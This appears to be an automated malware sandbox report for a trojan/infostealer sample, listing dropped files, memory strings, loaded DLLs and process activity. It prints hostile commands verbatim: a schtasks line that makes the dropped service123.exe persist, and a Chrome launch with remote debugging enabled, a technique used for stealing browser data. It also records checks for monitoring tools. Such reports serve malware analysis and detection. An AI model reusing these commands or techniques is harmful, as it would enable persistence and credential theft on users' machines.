Source: chrome.exe, 00000003.00000002.1766443384.000030740240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.1766443384.000030740240C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.1766443384.000030740240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1768910234.00003074027E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.1766443384.000030740240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774066627.0000307402E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.1768511313.00003074026D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000002.1769213929.0000307402860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.1769213929.0000307402860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1775614921.0000307403094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.1766243113.00003074023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcap
Source: chrome.exe, 00000003.00000002.1769213929.0000307402860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000003.1735390825.00003074027EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769282713.000030740288C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1774863372.0000307402F84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C859C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,

9_2_6C859C22

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C859C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		9_2_6C859C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C859D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		9_2_6C859D11

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C859E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_6C859E27

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

File dump: service123.exe.0.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: rJvOqHxkuI.exe	Static PE information: section name:
Source: rJvOqHxkuI.exe	Static PE information: section name: .idata
Source: rJvOqHxkuI.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00B351B0	9_2_00B351B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00B33E20	9_2_00B33E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C882CCE	9_2_6C882CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C84CD00	9_2_6C84CD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C84EE50	9_2_6C84EE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C850FC0	9_2_6C850FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C890AC0	9_2_6C890AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8544F0	9_2_6C8544F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8846E0	9_2_6C8846E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8787C0	9_2_6C8787C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8807D0	9_2_6C8807D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C882090	9_2_6C882090
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C890060	9_2_6C890060
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C872360	9_2_6C872360
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C89DC70	9_2_6C89DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C855880	9_2_6C855880
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8798F0	9_2_6C8798F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C887A20	9_2_6C887A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C88DBEE	9_2_6C88DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C88140E	9_2_6C88140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C891510	9_2_6C891510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C88F610	9_2_6C88F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C86F760	9_2_6C86F760
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C9050D0	9_2_6C9050D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8570C0	9_2_6C8570C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C843000	9_2_6C843000

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C913560 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C915980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C913820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C915A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C9136E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C913B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C90ADB0 appears 49 times

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7724 -s 1172

Source: rJvOqHxkuI.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: rJvOqHxkuI.exe

Static PE information: Section: mltgnpcl ZLIB complexity 0.994261174923886

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/7@16/5

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

File created: C:\Users\user\AppData\Local\zBgetxaCVe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Mutant created: \Sessions\1\BaseNamedObjects\uwwcACVDotPKkwKQKpzK
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5264:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7724

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: chrome.exe, 00000003.00000002.1769134081.0000307402856000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));

Source: rJvOqHxkuI.exe	ReversingLabs: Detection: 44%
Source: rJvOqHxkuI.exe	Virustotal: Detection: 54%

Source: unknown	Process created: C:\Users\user\Desktop\rJvOqHxkuI.exe "C:\Users\user\Desktop\rJvOqHxkuI.exe"
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1800,i,7000537074174027735,15973945356737895011,262144 /prefetch:8
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7724 -s 1172
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1800,i,7000537074174027735,15973945356737895011,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior

Source: rJvOqHxkuI.exe

Static file information: File size 4503040 > 1048576

Source: rJvOqHxkuI.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x283e00
Source: rJvOqHxkuI.exe	Static PE information: Raw size of mltgnpcl is bigger than: 0x100000 < 0x1c3a00

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_00B38230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

9_2_00B38230

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: rJvOqHxkuI.exe

Static PE information: real checksum: 0x44e242 should be: 0x456335

Source: rJvOqHxkuI.exe	Static PE information: section name:
Source: rJvOqHxkuI.exe	Static PE information: section name: .idata
Source: rJvOqHxkuI.exe	Static PE information: section name:
Source: rJvOqHxkuI.exe	Static PE information: section name: mltgnpcl
Source: rJvOqHxkuI.exe	Static PE information: section name: umkntojc
Source: rJvOqHxkuI.exe	Static PE information: section name: .taggant
Source: service123.exe.0.dr	Static PE information: section name: .eh_fram
Source: ehoYPkfWhVokJMBQaExv.dll.0.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00B3A521 push es; iretd	9_2_00B3A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8F0C30 push eax; mov dword ptr [esp], edi	9_2_6C8F0DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8BED10 push eax; mov dword ptr [esp], ebx	9_2_6C8BEE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C894E31 push eax; mov dword ptr [esp], ebx	9_2_6C894E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C888E7A push edx; mov dword ptr [esp], ebx	9_2_6C888E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C88A947 push eax; mov dword ptr [esp], ebx	9_2_6C88A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C892AAC push edx; mov dword ptr [esp], ebx	9_2_6C892AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8A8AA0 push eax; mov dword ptr [esp], ebx	9_2_6C8A909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C890AA2 push eax; mov dword ptr [esp], ebx	9_2_6C890AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8BEAB0 push eax; mov dword ptr [esp], ebx	9_2_6C8BEBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8C2BF0 push eax; mov dword ptr [esp], ebx	9_2_6C8C2F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8C2BF0 push edx; mov dword ptr [esp], ebx	9_2_6C8C2F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C88048B push eax; mov dword ptr [esp], ebx	9_2_6C8804A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8804E0 push eax; mov dword ptr [esp], ebx	9_2_6C8806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C888435 push edx; mov dword ptr [esp], ebx	9_2_6C888449
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8A8460 push eax; mov dword ptr [esp], ebx	9_2_6C8A8A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C88A5A7 push eax; mov dword ptr [esp], ebx	9_2_6C88A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C861CFA push eax; mov dword ptr [esp], ebx	9_2_6C916622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C861CFA push eax; mov dword ptr [esp], ebx	9_2_6C916622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8986A1 push 890005EAh; ret	9_2_6C8986A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8806A2 push eax; mov dword ptr [esp], ebx	9_2_6C8806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8806A6 push eax; mov dword ptr [esp], ebx	9_2_6C8806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8D06B0 push eax; mov dword ptr [esp], ebx	9_2_6C8D0A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8806FD push eax; mov dword ptr [esp], ebx	9_2_6C8806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8866F3 push edx; mov dword ptr [esp], ebx	9_2_6C886707
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8C2620 push eax; mov dword ptr [esp], ebx	9_2_6C8C2954
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8C2620 push edx; mov dword ptr [esp], ebx	9_2_6C8C2973
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C88070E push eax; mov dword ptr [esp], ebx	9_2_6C8806DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C88A777 push eax; mov dword ptr [esp], ebx	9_2_6C88A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C85E0D0 push eax; mov dword ptr [esp], ebx	9_2_6C916AF6
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C85E0D0 push edx; mov dword ptr [esp], edi	9_2_6C916B36

Source: rJvOqHxkuI.exe

Static PE information: section name: mltgnpcl entropy: 7.954666946769581

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File created: C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll			Jump to dropped file
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\rJvOqHxkuI.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
